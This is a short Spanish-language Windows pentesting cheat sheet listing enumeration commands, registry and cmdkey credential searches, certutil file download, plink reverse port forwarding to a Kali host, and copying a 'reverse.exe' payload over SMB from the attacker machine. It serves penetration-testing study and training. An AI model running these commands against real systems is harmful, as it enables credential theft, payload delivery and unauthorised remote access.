Windows Basics

Enumeración

Enumeración del sistema

systeminfo
systeminfo | findstr /B /C: "OS Name" /C: "OS Version" /C: "System Type"
wmic qfe get Caption, Description, HotFixID, InstalledOn #Muestra actualizaciones del sistema
wmic logicaldisk get caption, description, providername #Muestra discos

Enumeración de usuarios

whoami
whoami /priv
whoami /groups
net user
net user <USUARIO>
net localgroup
net localgroup <GRUPO>

Enumeración de red

ip a
ifconfig
route
ip route
aipconfig
ipconfig /all #Información extendida
arp -a
route print
netstat -ano

Búsqueda de archivos

#CMD
where /r c:\ file.txt
#Powershell
Get-ChildItem -Path C:\Myfolder -Filter file.txt -Recurs

Búsqueda de credenciales

#Valores en el registro que contengan la string “password”
reg query HKLM /f password /t REG_SZ /s
#Listar autologon passwords
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
#Lista contraseñas guardadas
cmdkey /list

Enumeración de antivirus

sc query windefend
sc queryex type= service #Lista servicios activos
netsh advfirewall firewall dump

Enumeración con herramientas automáticas

Funciones básicas

Descarga de archivos

certutil.exe -urlcache -f <URL> <OUTPUT_FILE>

Comprobación de permisos sobre un archivo

accesschk.exe /accepteula -quvw <user> <Ruta absoluta del archivo>

Ejecución de un programa como otro usuario en Powershell

powershell -c "$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential('<USER>', $password);Start-Process -FilePath "<PROGRAM.EXE>" -Credential $creds"

Windows Port Forwarding

plink.exe -l <KALI_USER> -pw <KALI_USER_PASS> -R <KALI_PORT>:<LOCAL_IP/LOCALHOST_IP>:<LOCAL_PORT> <KALI_IP>

Transferencia de archivos mediante smb

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali . #Kali
copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe #Windows

Desencriptado GPP

gpp-decrypt "<hash>"

Última actualización